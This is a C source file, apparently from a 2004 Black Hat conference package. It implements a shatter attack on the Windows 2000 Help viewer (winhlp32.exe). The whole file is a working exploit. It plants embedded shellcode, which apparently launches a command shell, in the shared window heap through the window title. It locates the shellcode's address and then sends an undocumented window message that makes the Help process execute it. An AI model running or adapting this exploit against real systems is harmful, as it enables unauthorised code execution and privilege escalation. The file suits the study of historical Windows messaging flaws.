/*************************************************************************************

* ShatterWinHlp32.c

*

* Demonstrates exploiting complex callbacks against undocumented messages using the

* process mapped heap 

* 

* Shellcode is for windows 2000 service pack 4 system @ 0x78018EBF

* Replace first byte with breakpoint for debugging

*

* Brett Moore [ brett.moore@security-assessment.com ]

* www.security-assessment.com

*

* Blackhat USA 2004 package

*

*************************************************************************************/

#include <windows.h> 



BYTE exploitcode[] = "\x90\x33\xc9\x66\xb9\x36\x32\xc1\xe1\x09\x66\xb9\x63\x6d\x51\x54\xbb\x5c\x21\x9d\x77\x03\xd9\xff\xd3\xcc\x90";



char exploit[5000];



long LocalHwnd;

long HeapAddress;



long TargetHeap = 0x380000;	// Base address of target mapped heap (winhlp32.exe)

 

long FindHeapAddress()

{

	DWORD GdiSharedHandleTable;

	long HeapOffset;

	DWORD pid;

	long result,pos, bread;

	HANDLE hnd;

			

	char tmp[10],buf[10];

	

	LocalHwnd=GetForegroundWindow();

	printf("+ Found current window at  0x%xh\n",LocalHwnd);

	

	// Setup Initial Buffer

	memset(exploit,0xcc,sizeof(exploit));

	memcpy(exploit,"**MARK**",8);



	memcpy(exploit+20,"\x53\x00\x45\x00\x41\x00\x52\x00\x43\x00\x48\x00\x49\x00\x4e\x00\x47\x00\x20\x00\x48\x00\x45\x00\x41\x00\x50\x00",28);

	

	// Set window title

	printf("+ Setting window title\n");

	SetWindowTextW(LocalHwnd,exploit);



	memset(tmp,0,sizeof(tmp));

	strcpy(tmp,"**MARK**");



	// Get our base heap

	GdiSharedHandleTable = *(DWORD *)0x7ffdf094;

	printf("+ GDI shared handle table  0x%xh\n",GdiSharedHandleTable);

	GdiSharedHandleTable +=0x060000;

	printf("+ Adjusted GDI shared heap 0x%xh\n",GdiSharedHandleTable);



	if (TargetHeap >  GdiSharedHandleTable )

	{

		HeapOffset = TargetHeap - GdiSharedHandleTable; 

	}else

	{

		HeapOffset = -(GdiSharedHandleTable - TargetHeap);

	}

	



	// Get PID

	pid = GetCurrentProcessId();



	// Open Process

	hnd = OpenProcess(PROCESS_VM_READ,FALSE,pid);

	

	// Set heap position to search from

	pos =GdiSharedHandleTable;

	printf("+ Searching heap from      0x%xh\n",pos);

	

	memset(buf,0,sizeof(buf));

	while (TRUE)

	{

		

		result = ReadProcessMemory(hnd,pos,&buf,8,&bread);

		while (!result)

		{

			// Search 

			pos+=4;

			result = ReadProcessMemory(hnd,pos,&buf,8,&bread);

		}



		if (memcmp(buf,"**MARK**",8) ==0)

		{

			printf("+ Found local address      0x%xh\n",pos);

			printf("+ Using address offset     0x%xh\n",HeapOffset);

			pos+=HeapOffset;

			printf("+ Using target address     0x%xh\n",pos);



			CloseHandle (hnd);

			return pos;

		}

		pos+=4;

	

	}

	

	CloseHandle (hnd);



	// set a default

	pos = 0x4d0de8;

	printf("+ Not found, using default 0x%xh\n",pos);

	return pos;

}



int main(int argc, char *argv[]) 

{ 

	long hWnd;

		

	long x;

	long result;

	

	char tWindow[]="Windows Help";// The name of the main window

	

	printf("%% Shatter winhlp32\n");

	printf("%% brett.moore@security-assessment.com\n\n");

	

	// Find Ourselves

	HeapAddress = FindHeapAddress();

	



	//Create Exploit

	memset(exploit,0x0,sizeof(exploit));

	memset(exploit,0x90,sizeof(exploit)-(1 + sizeof(exploitcode)));	// fill it up



		

	strcat(exploit,exploitcode);



	// set up the pointer blocks

	for (x=0;x<=100;x+=4)

	{

 		*(long *)(exploit+ x) = (HeapAddress + 104);

	}		 



	for (x=102;x<=200;x+=4)

	{

 		*(long *)(exploit + x) = (HeapAddress + 204);;

	}		 



	printf("+ Sending exploit to heap\n");

	SetWindowTextW(LocalHwnd,exploit);



	// Find winhlp32 main window

	hWnd = FindWindow(NULL,tWindow);

	if(hWnd == NULL)

	{

	  printf("+ Couldn't find %s window\n",tWindow);

	  printf("+ Loading default help window\n");



	  WinHelp(NULL,"c:\\winnt\help\\windows.hlp",0,0);



	  hWnd = FindWindow(NULL,tWindow);

  	  while(hWnd == NULL)

	  {

	 	Sleep(100);

		hWnd = FindWindow(NULL,tWindow);

	  }

	  

	}

	printf("+ Found window at          0x%xh\n",hWnd);

	printf("+ Using heap address       0x%xh\n",HeapAddress);

	printf("+ Sending exec to window   0x%xh\n",hWnd);

	

	x = 1053; // Exec function message

	result = SendMessage((HWND) hWnd,(UINT) x,HeapAddress ,1);

	

	printf("+ Done...\n");

	return 0;

}

